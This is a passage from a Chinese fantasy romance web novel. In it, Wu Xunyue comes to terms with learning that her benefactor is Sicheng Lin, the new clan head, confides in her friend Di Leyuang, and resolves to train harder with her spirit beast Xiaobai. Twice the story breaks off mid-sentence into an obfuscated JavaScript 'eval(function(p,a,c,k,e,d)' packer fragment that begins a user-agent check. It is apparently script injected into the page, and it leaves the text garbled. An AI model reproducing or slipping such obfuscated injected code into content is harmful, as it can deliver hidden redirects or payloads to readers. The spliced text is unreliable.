那年花海之中,司城凛昏迷之时,巫寻月去捡他的随身物件,那些灵器和饰物散落在外,碎银也散乱一地,但有两只方形鞢囊,里面的东西并未掉出来,当日她摸过,该是令牌一类的东西。有那么一瞬她动了念头想打开来看,可又觉得不好,最终作罢了。 现在想来,该是司城家令牌和九部令牌。如此说来,若是她当时真的打开了,那么当她踏入神都的那一刻——甚至早在暮沉泊上了双凫船之后,她就该知晓他的身份了。 又或许,他的确是这么想的呢,他并不知道令牌是否掉出,她有没有看到,所以他才会说——“等你来神都的时候,自会知道。” 只可惜,天意弄人。 也许他只是想报恩吧,她为他找来仙品寻月草,照顾了他一夜,找回他的祖传玉佩,他不过只是想报恩,所以鼓励她走出邬戍城,来到神都读书。而那罡灵坠,也只是作为谢礼,推荐信,于他也不过举手之劳。 他还真是思虑周全,怕她承受不住他的身份,也知道若是以他的名义开推荐信,众人知道她与司城世子有旧,于她该是什么境遇。 没有人会相信的,一个自边城平民家庭来的女孩,能得司城凛垂眼。 她也终于想明白为什么他肯帮狄乐凰修炼强攻术法了,或许他与狄乐凰做了交易,她不说穿他的身份,他便帮她训练强攻术法。 巫寻月自嘲一笑,觉得自己有些拎不清了——她并不值得司城凛为此受制于狄乐凰,他肯帮她,该是还有别的原因。 对了,狄乐凰说,他说了什么来着…… ——“世子他……他还说,这灵器有灵,会将你导向正确的方向,若有缘,你们……会再见。” 原来如此。“你们”,会再见,原来这个你们,真的是他亲口说出的“我们”。 若是她现在有意直奔他而去,去九部令府,又或是司城府邸,再或者是司城家制造灵器的工部,那便不算是有缘,只是有意为之,对不对? 那究竟,何为有缘呢? 巫寻月将罡灵坠取了出来,捧在手心,凝着那上面灵光流转的宝石,仿佛在一片迷茫雾海间祈求这灵光能带她走出绝境。 她嘴唇微动,轻轻自语道:“这罡灵坠会将我导向正确的方向,却未必,是导向你,对不对?” 她像是终于有了一分释怀,潸然泪下,嘴角却展开了笑颜:“所以无论如何,我都该感谢你……” 晚些时候,巫寻月回到宿舍,看到司城凛于继位典上颁布的三令,已传得人尽皆知。 因此,现在大家提及司城凛时,全然不复从前一昧的倾心神往,畏惧之心渐占上风,调侃之言已大幅减少。而这些,正是司城凛的目的。 他太年轻了,又尚无建树,做了二十四年所有人视若珍宝的世子,若不快速扭转自己在众人心目中的形象,那司城家威慑何在。 为此,他不惜代价。 而对于前两条法随和恩泽,是几家欢喜几家愁:“我家哥哥就在九部令,已定在了今年去边境换防之列,正好赶上这新令,到时领的薪俸可比现在多太多了!” “我叔父为我家乡白棉城司城家武器铺管事,白棉城距神都数百里之遥,他当真能有机会直秉司城宗主?从前我就听他说苦上头盘剥久矣……” “这清查账册必须要报出问题,真的有人敢报什么问题吗?司城宗主真要亲查?长隐洲里外数百家铺子,他真能亲查吗……” 七年级同学倒是还想着等司城迦染返校问上一二,可她似乎并未有返校打算,自七年级开学,也就是司城凛戍边归来,司城靖的生命也进入尾声,身体状况急剧恶化,她就再也没在学校出现了。 巫寻月与司城迦染并不相熟,偶然跟着慕丹青或狄乐凰碰过几次,也搭过些话,司城迦染对她也颇为欣赏。虽然大家总是用司城迦染类比巫寻月的顽劣,可巫寻月心里明白,她和司城迦染终究是不同的——司城迦染的顽劣不计后果,是真敢闯出祸事也无人置喙,而她却是有底线的,她谨遵学校制度,再贪玩胡闹,也不敢真的越雷池一步。因此,在巫寻月心里,到底是和司城迦染性情不合。 这也许又是上天安排的一次注定吧,若是巫寻月与司城迦染如与慕丹青一般要好,又如与狄乐凰一般可随时前往狄府做客,那么——司城凛的身份早就藏不住了。 他说若有缘,可如此天意相阻,便正是无缘。 当夜在司城府邸中举办的宴会,规格比半年前的接风宴更为奢华盛大,大半灵族名门皆到场,十一令座首与天听阁阁老全员到齐,神都世家若是哪家没有请帖,都要被人看低一等了。 托司城凛的福,这一年狄乐凰有了两次见到言萧鹤的机会——于他亦如是,而在司城凛未归的前一年里,狄乐凰整整一年都没有见过他。 到得最早的是梅家,司城凛还在后室换下加冕礼服,预备换上另一套宴会华服时,下人便来报:“禀宗主,梅宗主携夫人及家眷已到府中,正在前厅吃茶。” “这么早?”司城凛先是一怔,问,“是我误了时辰吗?” “未到吉时,梅宗主说他今日无事,便早些过来了,让奴婢转告宗主不必急于招待,他一家自便即可,二公子好吃司城府中茶点,梅世子您更是不必挂怀。” 梅见蹊和他弟弟自然是不用管,可梅晏晷到得早,可并非无心之举。司城凛凝神细想后,吩咐道:“请梅宗主到书房等我,我很快便来。” “是。” 司城凛晚宴所备的礼服与加冕礼服主色调相同,只是制式收敛了些,也换了顶更温润雅致的玉冠,与如水夜色相衬。 司城凛到书房时,梅晏晷正立在窗前,凭栏看着园景中初放的海棠。司城凛的书房外是一处花园,地方不大,因为他自幼喜静,景观开阔处多有人来往走动,又或是有府中大型灵兽玩耍,便选了此处。可作为世子用此书房倒是无事,现下已任家主,如此位置和景致,实是显得小气了些。 司城凛进屋之后,主动向梅晏晷行礼——仍遵循待尊长之礼,称呼道:“世伯。” 梅晏晷看着他,慈爱地笑了笑,问:“怎么还用这个书房?” “父亲书房中还有诸多重要公文和书籍,父亲生前喜爱的物件也还未打理好,近日诸事繁琐,便先放置了。” 梅晏晷从凭栏处走了回来,道:“我看你也是更喜欢此处,怕是不打算搬了。” 在梅晏晷面前,司城凛可说些实话:“的确更喜欢此处,但也不得不搬。” 此时,两人已来到榻前,司城凛扶梅晏晷落座,自己也在他对面坐下,动起手来亲自为他泡茶。 等待茶水时,梅晏晷也同他闲扯两句:“你在继位典上所颁布的法随令,推行起来若有难处,可多找狄宗主讨教一二。” 司城凛颔首道:“世伯嘱咐,小侄定然谨记。” 梅晏晷笑了笑:“我不擅经营,家中钱财之事多是夫人和族老打理,若说什么实质经验是给不了你,就只能说这一两句空话了。” 梅晏晷说着又笑了起来,司城凛一同陪笑,将滤好的茶水倒入盏中,给他递了过去。 茶上好了,梅晏晷不再寒暄,直接切入了正题:“贤侄二十二岁修成封灵境,为普天之未有,且你父亲断你脉象时,灵力竟是润泽百脉,通达窍穴,实为罕见啊,你的修为是不可预测之高深,现在都还只是开始。” 何谓封灵?灵术最高境界取之封灵境,其寓意便是封顶到此了,可在梅晏晷口中,他竟还只是开始。 司城凛未有自谦。既梅晏晷知晓父亲当时为他诊脉的情况,想必,父亲不止是与他说了这些,所以无论是父亲还是梅晏晷,都只当他才是开始——封灵,只不过意味着他越过了坐上谈判桌的门槛,具备与众神博弈的资格而已。 司城凛低头颔首道:“小侄不忘父亲嘱托,也谨记世伯教诲。” “别嫌老人家啰嗦,”梅晏晷已不笑,梅见蹊与他还是有几分像的,话题骤转之时神色一定,如帝王翻脸无情,天威难测,“我今日一早前来,就是要再嘱咐于你——你封灵时你父亲与你夜谈最后所言,一刻不可忘记。” 司城凛一怔——父亲与梅晏晷还真是无所不言,远胜亲兄弟啊,竟连那些话也毫无保留地告诉了梅晏晷,难怪父亲往日多次嘱托,若是梅晏晷有话,他不得不听。 此刻司城凛思海之中,再现那夜父子间促膝长谈之景,亘古长夜下,父亲深沉的话语也仿佛古老的礼法,经岁月沉淀,不可动摇,不可违逆。 ——“十一令和天听阁同宗 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司城凛的确如她所猜是控制系,也的确拥有封号灵师里的顶级遁术,更是将封印类控术运用到足以载入史册——正是如此,他自创的心法已被神都学宫收入教科书,他并不介意,学霸的作业就算给你照抄你也抄不明白,只是那属于高级控术,在六年级的课程中才会学到。 这些,都是众所周知的。 那巫寻月还想知道些什么呢?其实她自己也说不清楚,只是她无法阻拦自己去了解有关他的一切。 所以,她去了图书馆,找了些司城家史书,坐下细读。 司城家始祖出生在凌海城,所以司城夫组建起地方势力时,就以凌海令为番号。司城夫原先不姓司城,只是一阶草夫,甚至名字也是父母随意所叫,后凌海令势力壮大,凌海城开始以始祖夫为尊,始祖夫司掌全城,称为“司城”,从此就冠以全族作姓氏了。 始祖夫与其余十七令一同将风族赶至万墟风洲后,又与其中五位首领不谋而合,一致认为应当逐步建立起灵族社会制度,首要便是要选定都城所在。主导堪舆的空相家始祖综合考虑了地貌、风水、环境、位置等,率先提出定都凌海城,分散四处的十七令全部迁居到此。 经多方考量,长久合议,十八令一致认为,凌海城的确是不二之选,最终定都凌海城,从此改称神都。 司城家掌管兵器、灵器铸造,需要大量原矿石,为寻求资源,第十一任家主司城炎主导组建了远航开拓队伍,成为发现山海部洲第一人。并在之后主导起与人族缔结盟约的谈判——灵族为人族提供对抗风族的力量,人族则供应灵族所需的矿石。 因此,山海洲的地界上,矿石开采之处遍布司城家的人,司城家每一任家主都受人族帝王礼让三分。 人族山海部洲水草丰美,适合农耕,但多灾多病;而灵族长隐灵洲灵气充沛,适合修炼,寿命绵长。因此,几千年来,人族帝王始终没有放弃向司城家主讨要长生之术,可那灵器原矿石像是被老天算计好了的,于山海洲就只是普通无奇的石头,催动不了任何灵力术法,只有在长隐洲才能成为灵师的无上至宝。 一日与朝黎待在一起时,巫寻月出神之际,不自觉就问:“你说司城家的人常年待在山海洲开采矿石,可不会与人族有些牵扯吗?” 朝黎小她几岁,不明所以道:“什么牵扯?” “感情牵扯啊,若是两相心悦有了孩子,那孩子是什么情况?” 朝黎这才明白了,说:“自然是有的,我们桑家可给他们看了不少,灵族和人族所生的孩子皆是毫无灵脉,与普通人族无异,无论如何进补也无法开灵拥有灵力。” 这么说来,真是彻底绝了灵族与人族通婚繁衍的可能。 巫寻月顺着就问:“此事可是隐秘?我们灵族没有法定禁止不可与人族通婚吗?” 朝黎一笑,说:“何为禁止?若是人之所向不可,才需禁止。所以对于我们灵族来说,很少有人愿意生彻底没有灵力的孩子,就不会想与人族通婚,自然也无需明令禁止了。但人族可不是这么想的,在山海洲的灵族不止司城家人,也有灵师驻军,或是其他生意人,人族逐渐了解到灵族社会制度之完善优越,平民生活安稳无虞,又可修炼延年益寿,多的是想到长隐洲来的人,自然也就主动向灵族示好,这孩子嘛也就越来越多……所以后来,天听阁就只好明令禁止与人族通婚了。” 巫寻月被她逗乐了:“原来如此,现在看来,生在医家,还颇懂这些闺闱秘事呢,你家中一定常有八卦分享。” “那可太是了!”朝黎激动得连拍大腿,真想一股脑全分享了,可最终还是遵循了医德,只叹气道,“哎……你都不知道!越是世家大族,玩得越花,常闹出许多事来求到桑府,大人们当我年幼无知,也不与我多说,但多少我也是知道的!” 此言一出,却让巫寻月心头一震,僵了脸色。 “越是世家大族,玩得越花。” ……那,谁又是这世家大族之首呢。朝黎可也是曾说,司城凛身边莺莺燕燕投怀送抱无数…… 司城凛继位典之后的第三个旬休日,巫寻月收到了狄乐凰的邀约,请她到狄家一处庄园吃茶赏春。狄乐凰信中说,“只你我二人”。 巫寻月与狄乐凰心照不宣,这话放在从前,只是告诉她清楚都有谁去,可到如今,就是在告诉她——司城凛不在。 40. 第 40 章 40. 自继位典后,巫寻月的确一直在回避狄乐凰,她知道狄乐凰定能看出来,可她也拿不准狄乐凰要如何回应,是由她回避装不知道,还是与她开诚布公地谈谈。 现在看来,狄乐凰或许选了后者。 四月之初,芳菲鼎盛,到处是盛开的鲜花,闲暇时最受欢迎的活动就是踏春了。狄乐凰遣了侍从去接巫寻月,庄园在神都城外,镇虚鳐会直接将她送往那里。 到了地方,侍女将她领进园中,远远地她就听见了欢闹声,询问还有何人,侍女说:“今日郡主带我们漱玉阁所有侍从到此踏春赏花,现下园子里只有我们漱玉阁的人,小娘子自是与郡主独处吃茶说话的,不必担心我们打扰。” 原来都是狄乐凰住处的近侍,便全是她自己人了。巫寻月听完,都有些不好意思了:“没有没有,只是一问。” 沿路过了几道院门,就遥望见鲜花环抱之中,狄乐凰正端坐在一座亭子里,近侍们都是女使,有的在放风筝,有的在忙活野炊,有的在写生作画,有几人围着狄乐凰正与她编织花环,有说有笑。 狄乐凰望见巫寻月来了,举手朝她挥动,眉眼全是笑意。巫寻月也挥手回应,沿湖绕了大半圈才来到她身边。 侍女们向她问安,狄乐凰将两只花环举向她,神秘兮兮道:“我刚刚在跟她们学编花环呢,你猜猜这两只哪个是我编的?” 两只花环手艺差别明显,一只熟练精细,一只笨拙别扭,巫寻月毫不给她面子,一眼戳穿了:“这只啦。” “哈哈哈哈……”侍女们一片哄笑。 可狄乐凰还要嘴硬:“怎么就猜中了?哪里不一样了?明明就是一样的。” 侍女们纷纷告退了,留她们二人独坐,赏花自是少不了茶水点心,待一会野炊烤好,再给她们端过来。 巫寻月端详狄乐凰妆面,眼睛里跳着心动:“你今日妆容真是不错,比之前的桃花妆更适合你,那桃花妆颜色过艳,夺了你眉目神采,还是今天这样清丽的好,像是……芙蓉之色。” 狄乐凰一把抓住了她的手,激动难掩:“我就知道还是你懂我,今日眉眼是我自己画的,选用的胭脂正是名为芙蓉呢!” 这时,侍女提着一篮芍药过来了,到亭中献于狄乐凰,说:“郡主,我们看那边的芍药开得真好,就给您采了一篮子过来,您跟寻月小娘子看看可有喜欢的,奴婢给您簪到头上。” “这芍药开得真是不错呢,”狄乐凰很心悦,立马挑上了手,“你们下去吧,我们自便。” “是。” 狄乐凰一眼相中一枝天香锦,送到巫寻月面前,殷切地问:“寻月你看,我觉得这支最配你,你觉得怎么样?” 她们二人互猜少有不中的,这天香锦呈紫红色,重瓣张扬,极为妖娆,深色却又带着妩媚,与巫寻月的长相极为相配。巫寻月欣然笑纳:“我刚才一眼便喜欢这一朵呢。” “我还能不知你,”狄乐凰说着,已将根茎折短,“来,我给你簪上。” 花给她簪好了,狄乐凰望着巫寻月又看呆了许久:“这人怎么能好看成这样……” 巫寻月被她逗笑了,也动手给她挑花:“我给你挑一支吧。” “好啊,那你觉得哪一朵适合我今日妆容?” 这一框芍药颜色品种各异,有白有粉,有红有黄,但最别致的还是一株绿晕,似莲似菊,重瓣盛放,却也温润清雅。 巫寻月已然选定,对她说:“你今日这芙蓉胭脂淡雅留白,可适配所有颜色花型,虽说粉色系最为稳妥,可我看这株绿晕若以撞色相配,定是更别出心裁呢。” 狄乐凰像看另一个自己那样心动地看着她:“我也正是这么想的,最想试这绿晕,又怕撞色不相容……” “一试便知,相信我。”巫寻月取了花,为她簪上,待远离她纵观全身,才真是一眼惊艳:“哇……果真是!这绿晕配你今日太出彩了!” 狄乐凰满怀期待地举起镜子,一看便不可收拾,愣是自我欣赏了许久,巫寻月也跟着观赏许久,毫不相扰。 狄乐凰恍然才想起来:“我都忘了,今日我喊了画师的,不如现在就让画师作画吧。” “画什么?” “画你我呀。” 巫寻月还真是从未经历此事,高兴之余,又问:“那我需要做什么吗?” “不用不用,我们说话便好,只是得一直面朝这个方向,等画师作画完毕才可自由。”狄乐凰说着,已吩咐下人将画师请了进来。 那画师也是女子,见到今日作画对象竟是两位绝世美人,那嘴笑得都快合不上了。 留画需得神采焕发,不宜聊伤心事,二人皆是这么想的。所以她们又聊了些学校里和狄府中的趣事,话题不可外扩——十一令中有两位需要避雷的男人,且还都是座首,若是聊些世家大族,难免也要牵扯某个世族之首。 这姐俩,也是相互为难得很。 狄乐凰挑起一枚樱桃,说着:“丹青下个月毕业大考,不日就要毕业了,虽她是优秀毕业生,不必外派五年,但听说她想自请去戍边,为慕家做表率,也能多有机会修炼,早日参悟出真灵境。” 巫寻月面露一丝心疼:“她对自己太过严苛,有一个封号灵师的长辈,对她来说既是荣耀,也是压力。” “只要是能朝着心中所想,我觉得她是幸运的,”狄乐凰看向她,道,“只是她这一毕业,学校里就剩你自己了,还好桑家那小丫头长大了些,不日前我还见了她,人是鬼灵鬼灵的,该是能陪陪你。” 朝黎十二岁入学,一年级时完全是稚童之气,与巫寻月他们根本说不到一块,过了两年渐明事理,也有赖于勤加学习桑家医术,如她所言更有禅意了些,比同龄之人显得更稳重,分了专业之后,这才慢慢和巫寻月慕丹青她们有得聊了起来。 巫寻月扑哧一笑:“瞧你说的,不知道的还以为我是个未到学龄要人照顾的小宝宝呢,还有不到三个月,我就要十八啦——是个成年人了呢。”两人相视一笑,巫寻月继续说:“其实医疗系课务繁重,我也忙碌了许多,老师们对我也颇多照顾,即便你们都不在,我也很好啦。” 她这话一语双关,这你们,包括了所有想说与不想说的人。 狄乐凰只好说:“如此就好,反正我也在神都城内,你想找我随时都能来。” 此时,对面的画师忽然向她们招了招手,示意画已经作好了。画师将画送来,竟是画了两幅,一幅两人边吃茶点一边欢乐相谈,一幅狄乐凰在为巫寻月调整她发髻上的天香锦芍药,画师技艺精湛,细致描摹出了两人全然不同的长相气质,一个娇俏,一个淡雅,真切之至,尽现国色天香。 两人一同惊叹,狄乐凰让她先选:“你喜欢哪个?我们一人一幅。” 狄乐凰为她簪花的时刻,她自是想珍存的,便不客气了:“那我要这个。” “好啊,那我留另一幅。” 画师退下了,侍女将烤好的肉串呈上来,两人吃得甚欢。 倒是让巫寻月忽然想起来:“听说你父亲想给你议亲?” 狄乐凰是不挂心的,只当玩笑说:“父亲原是不急的,不知谁多嘴提了一句,他便担心了,倒不是担心我无人可嫁,只担心我看多了名门贵子反而要挑剔了,可这世间并无完人。”说到此处,她才恍惚间想起了他,转为失落:“是啊,这世间并无完人,我想要的人,也不过只是年纪与我不相近而已……” 巫寻月看向她,沉了口气,试着说:“或许,你可能试着探一探你父亲的意思,看他能否接受你的如意郎君年岁再成熟些……” “我才不去呢,”狄乐凰毫不犹豫,言辞斩切,“就算我父亲说可以接受,要我如何?兴高采烈地奔着言府去告诉他我父亲不介意,要他娶我?我可没那个脸。” 巫寻月一听,略有欣慰,却也是更为她愁:“是啊,结症终归不在你家里,在他自己心里。” 狄乐凰欲言又止,把到嘴边的话堵了回去——她上一次见言萧鹤,是在司城凛继位典当夜的晚宴上,若是说出来,就该正式谈谈司城凛了。 既如此,那便开始吧。狄乐凰决心沉了口气,语气转而低沉了:“寻月,我这次邀你来,是要和你道歉的……” 话音未落,巫寻月就笑了:“好啦,你不必说了,我又没说怪你。” 她当然明白狄乐凰要说什么,可她的确也从未真正怪过她——或许有过那么短暂的一会儿,可她很快就想明白了各有难处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这些道理,巫寻月早就说给自己听过了,不过那是劝慰自己的说辞,今日听狄乐凰亲口说出来,当真是让她宽慰了不少。她浅浅一笑,发自内心地说:“我明白,他是对的,你也是对的,就算我当时就知道了,我也什么都做不了,他身上的担子,不是我可以想象的。” “寻月……” “你不必担心,也无需自责,”巫寻月握住狄乐凰的手,却不敢抬头,眼底有泪光闪动,“在我不知道的这两年多里,因为认识了你们,我一样过得很开心啊,我还要感谢他呢,是他鼓励我来神都的,如果不是他,我从来都没想过自己还能走进灵师的世界……” 狄乐凰没做声,巫寻月深吸了口气,又重重地送出去,好似希望能借此释怀:“现在,我也明白了,解答了心中的疑问,这样就好,原先……我也没有多想,现在只是彻底没有疑问了而已,他有他的使命,我自也有我的命运。” 狄乐凰无言地看着她,她这副隐忍的模样,她怎会看不出来:“可阿凜也说了,若有缘,你们会再见,这真是他说的,我没有骗你。” “我知道,”巫寻月抬头时在笑,这次是真的释怀了,“可现在正是无缘的时候,不该强求。” 这道理,两人心知肚明,巫寻月不会骗自己说现在去找司城凛很合适,狄乐凰更是不会给她如此虚与委蛇的意见。 但狄乐凰还是要明明白白地告诉她:“那戒断环,也是他托我送你的,是他亲手设计的,手环中的灵脉,乃是他体内灵力结成,那时他需要传信回家中,命人赶制出来,再转交于我……” ——是吗,所以我右腕间的灵器里,存在着你的灵力。所以其实,你一直在我身边。 巫寻月低头逼退眼泪,抬头时已换上笑颜,冲狄乐凰挑眉:“所以当时你只借花献佛了,自己并未有礼物给我?” “我……”狄乐凰一惊,“……原先是有备的,然后阿凛突然要我如此,我怕送两份你会起疑,所以……” “好啦,逗你的。” 花园那边的侍女在玩游戏,突然一人输了,引来大家一同欢笑。微风吹动枝头花瓣,带来丝丝和煦温凉,如此春和景明,当真是美好啊。 狄乐凰收回目光,神色也凝重了些:“寻月,和平期只剩下四年多,阿凛他……也只有这么多时间了。” 而和平期结束的那年,恰好是巫寻月毕业之时。 巫寻月也认真望向她,说:“乐凰,我只愿我们都能如丹青一样,朝着心中所向,这样即便是多么艰难苦楚,那也是愿意的,自由的,总好过违心地活着,你说是不是?” 这道理,当年言萧鹤与狄乐凰断绝时,巫寻月也曾说给她——不强求,不强求一个此时不该的结果,也不强求自己去忘,只有能朝着心中所向,才能让自己好过一些。 所以,狄乐凰明白,现在到了巫寻月也如此的时候了。她回望她,带着悲怜无奈一笑,说:“是啊,谁让我们都是不会甘心的人呢。” 41. 第 41 章 41. 其实狄乐凰也更喜欢她为巫寻月簪花那幅画,那显得两人很亲密,很美好。但无所谓了,这画终究也不是她自己留着——是她要带给某人的。 这之后的下一个旬休日,就是和小白出去玩的日子。巫寻月到了老地方的时候——不远处的一座山巅,小白已经在那里等她了,小白总是会先到的。 巫寻月一把抱住小白半个脖子,把脸埋起来,显得很疲倦:“小白。” 小白鼻子往她的方向动了动,巫寻月继续抱了一会儿,才抬起头来,对上小白关切的圆眼睛,她说:“小白,你早就知道了对不对,他不是一般人,所以,你也不想我跟他有过多牵扯。” 小白一听,转过头看向别处,两只鼻孔轻轻哼了一声。 “我知道,”巫寻月揉着它的鼻子说,“你觉得灵师的世界太危险,尤其是他那样的人,你不想我卷进去,你觉得我们待在老家快快乐乐一辈子就好了……可是小白,我……我还是很喜欢他。” 这句话,她只敢在小白面前,原原本本、毫无保留地说出来。 小白转回头来,看见她眼中已涌起泪光。小白与她默然相视了数息,最终无奈地叹了口气,吐出舌头舔了舔她。 巫寻月笑泪交加,贴着小白的脑袋,呜咽地说:“小白,我知道,无论我做什么,只要我开心,你都会支持我的……” “我真的没有想过,他真的那么那么厉害……好吧,其实是有怀疑过的,因为在封号灵师或者接近封号灵师水平的人里,符合年龄的,就只有司城世子一个……现在他也已经是宗主了——所以每次我想到这里,我都会告诉自己,不可能的,他不可能是司城世子的……” “小白,老天为什么要这么对我,我只是想来神都找到他而已啊,然后好好学习,毕业了找个好工作——我都想好了,我是想去九部令的,九部令条件和月例都比其他地方好很多,到时候姐姐也不用那么辛苦了,我就可以买很多漂亮裙子,然后……要是有他在就更好了,我真的只是这么想而已啊……”巫寻月说着说着,忍不住又哭了起来。 等她哭够了,又说:“小白,乐凰跟我说了很多他的事,说他很辛苦,他父亲在十几年前的战争中受伤,后来病得越来越重,那年他才十五岁,还在上五年级,突然得知父亲将不久于人世,如果他继位的时候还不是封灵境,那会动摇司城家的地位,所以,他开始对自己特别特别狠,几乎没有一天休息过……” “小白,你说,那时的他是不是也很难过,也会有点迷茫,突然发现自己原本想过的未来,马上就要被改变了……你说,如果他不是在那么小的时候就背负了这些,会不会就爱笑一些了?会不会和梅老师一样,快乐得没心没肺的……” 小白认真地听着她说下去,却一直没有什么回应。它知道,她已经做出了属于自己的决定。 巫寻月失声而泣,又再说了一次:“小白,我真的好喜欢他,他认真,固执,勤勉,聪明……还那么好看,第一次见他我就觉得,我终于见到一个跟我一样好看的人了,后来他昏迷,我第一次那么近看见他,才发现他居然比我想象的还要帅太多……所以刚来学校的时候听大家吹司城世子有多帅,我都心想——怎么可能比他帅,可没想到……小白,我是不是很好笑?” 巫寻月边哭边说,听起来是有些好笑。 她说了一大通,突然就沉默了下来,呆呆地睁着眼,一动不动。小白的脸被她的泪水浸湿了一块,但它并不在意——好吧,其实是在意的,但只能忍着。 然后小白实在忍不住,如同旋风一般抖了抖脑袋甩掉湿漉,终于惹巫寻月发笑起来。似乎心里舒坦些了,她终于能开诚布公地剖析自己:“我知道我是有所逃避,不止是从很早的时候就隐约猜到他是谁却不敢去想,也一直在逃避被人注意……或许是被姐姐保护惯了,或许是害怕像文瑛那样的事再发生,又或许是厌倦了总是被人关注一举一动……我总觉得,如果我不那么厉害,就能少很多烦恼了——可是小白,我知道如果我想,我是可以做到的。” 听到最后一句,小白忍不住又拿脑袋拱了拱她,还不尽兴,接着抬起脖子仰天长啸了一声,高兴极了。她终于能够笃定地相信自己了,小白怎么会不为她高兴呢。 巫寻月一把抱紧了小白,又要哭了:“谢谢你小白,其实我知道,你和姐姐才是无论我变成什么样,无论我是否有出息,都会一直一直爱我的人……和小猫。” 她忽然笑了:“突然觉得,在纯粹追求这件事上,许多强攻系灵师还真是可敬,像冷老师啊,赦罗封座啊,还有乐凰的言封座,他们都被称作武痴,修炼倒也不是为了什么功利的目的,就只是喜欢而已。乐凰说,言封座非世族出身,虽不追求名利,可天赋超群,很快便名声大噪,在部中一路擢升,乐凰说他性情温平,被推着上位,也是后来慢慢地才学着去肩负起高位的责任……” 巫寻月有些出神,说着别人的历程,想的却是未来的自己。 她承认道:“我的确做不到那样纯粹,原先从家乡来时,我其实并不知道自己想要什么,但我很肯定自己不要什么——我不要因是女子而受轻视。现在我已然实现,又有了更多的不想要,我不想像丹青那样不爱打扮浪费美貌,也不想如朝黎那样走一个既定的人生,更不想像乐凰那样背负巨大的压力不能随心而活……直到现在,我好像才终于明白了想要什么。” 她转过身去,极目远眺,神都城的万家灯火在夜色中辉映如织,她平静而笃定地开了口:“既然巫寻月已经是确凿的优秀毕业生了,可以留在神都,拥有稳定的一切……那么我该给自己一个更大的惊喜。” 小白一直认真听着,直到巫寻月唤了一声“小白”,小白耳朵立刻就先转向她,脑袋才跟着转了过去。 巫寻月下定了决心,发自肺腑地开了口:“我没有办法像之前说的那样,升到九重灵之后就浑浑噩噩度日了——我想在毕业前练出自己的必杀技,升真灵境,而且——是双修真灵境,医疗系我要学,控制系,我也不放弃。” 小白没有丝毫震惊,不知是它不理解这对于人类来说达到了多荒谬的难度,还是——它就是觉得巫寻月可以做到。 小白舔了舔巫寻月的脸,想把她的眼泪擦干。巫寻月委屈巴巴地看着她,残泪潋滟,却掩盖不住眼睛里的倔强与坚毅:“小白,你会帮我的,对吗?” 小白冲她眨了眨眼,脑袋倒向她,轻轻蹭了蹭——它拿她有什么办法呀。 巫寻月说想去看看大海,小白就驮着她往大海飞去。 海浪阵阵,揉碎了倾泻的月光,一人一兽坐在海边的山崖上,她俩没点火,也没用术法,身影悄悄溶进了夜色里。 巫寻月正向小白打听:“小白,那个负屃很厉害吗?跟你比谁厉害?” “……好好好,我知道你是上古灵兽,但是那个负屃那天看起来真的很夸张很恐怖——所以其实,五大宗族的镇族灵兽跟上古灵兽也不是一个量级的?但是也是非常非常厉害的灵兽,普通封号灵师也很难打得过,是吗?” 巫寻月又好奇道:“那负屃这样的超高级灵兽,为什么愿意当灵师的镇族灵兽呢?” “原来如此,灵兽修炼比人要慢,虽然寿命能达千万年,修为却不一定能跟上,这些灵兽不仅因为认可宗族的理念和内核,而且还因为——宗族的天赋能给它们想要的东西,所以,这些灵兽和宗族间并不是简单的制约和驯服,而是相互信任的契约了。” 巫寻月突然转向小白,问:“那小白,你想要什么呢?” 小白想了想,转头望向海面尽处,仰天一声长啸:“嗷呜——” “我知道啦,你想要自由,”巫寻月笑了笑,突然又想起来问,“对了小白,我老是忘了问你,你跟森罗老祖为什么会打起来啊?” “哈哈哈哈——我听到了,你骂它是暴躁狂,神经病,哈哈哈哈——所以小白,你还有没有碰到过其他上古灵兽啊?” “噢,你说七彩神凰很好遇到,还要缠着你比美……极北冥龟不爱动,你们远远看了一眼你就走了……千喉睡魇长得很恶心,你怕弄脏了毛所以跑得很快……没有了吗?” 小白犹豫了一下,抬头望向大海。巫寻月顺着它的视线望去,在尽处的无限混沌之中,很快读到了它的思想:“还有……东海帝龙?你说你没见到它,它不屑于现身,也不在乎你的存在……那小白,东海帝龙是不是超级超级厉害,比你还厉害?” 这次,小白罕见地沉默了。 既然已推心置腹,坦言想实现毕业即双修真灵这一听起来天方夜谭般的愿望,那么从这个月起,巫寻月和小白见面的频率要多起来了。 其他地方都不合适,若要助她修炼,自然是回垩山最好。巨翼幽虎可日行千里,旬休日前夜放学前接上她,亥时前便可到家——比司城凛巅峰状态还要快一些。 这样的日子司城凛过了两年,而她,大概是要过三四年了。 五月,慕丹青顺利通过毕业大考,毫不意外地进入了六部令。她当即向慕之遥请奏前往戍边,这当然是之前在家就商量好的了,所以很快就准奏了。 令她惊诧的是,枫若恒也向所在的五部令请奏戍边——五部令和六部令的边防卫所离得近,轮值旬休时,他很快就能到慕丹青那里。 枫若恒这一做法可是令所有人咋舌,虽说枫家也是世家大族,可关系终究不是慕之遥与慕丹青那般亲厚——那是慕之遥亲侄女,她戍边再久,回来仍有她一席之地,她仍然是掌上明珠,重点栽培对象。可枫若恒就不一样了,世族子弟毕业生年年都有,他不在的两年,自然会有新的世族子弟入列。 慕丹青把这件事告诉巫寻月,五官难以置信地扭曲了:“神经病吧他?什么都学我,他是不是不知道我封座大人是我伯父啊?” 巫寻月只问:“他还没跟你表白吗?” 这可给慕丹青问傻了:“……什么表白?” “……你俩也是挺配的,一个敢藏,一个敢傻。” 慕丹青哪能憋得住事儿,当即就跑去问枫若恒:“你是不是喜欢我啊?” 枫若恒简直是要感动哭了:“你才知道啊……” “……”慕丹青麻利儿跑了。 此时巫寻月宿舍无人,慕丹青在她床上打滚,唧哇乱叫:“啊啊啊——他是不是有病啊!” 巫寻月激将道:“怎么了?你不喜欢他啊?” 巫寻月立马被她瞪了。 慕丹青到最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 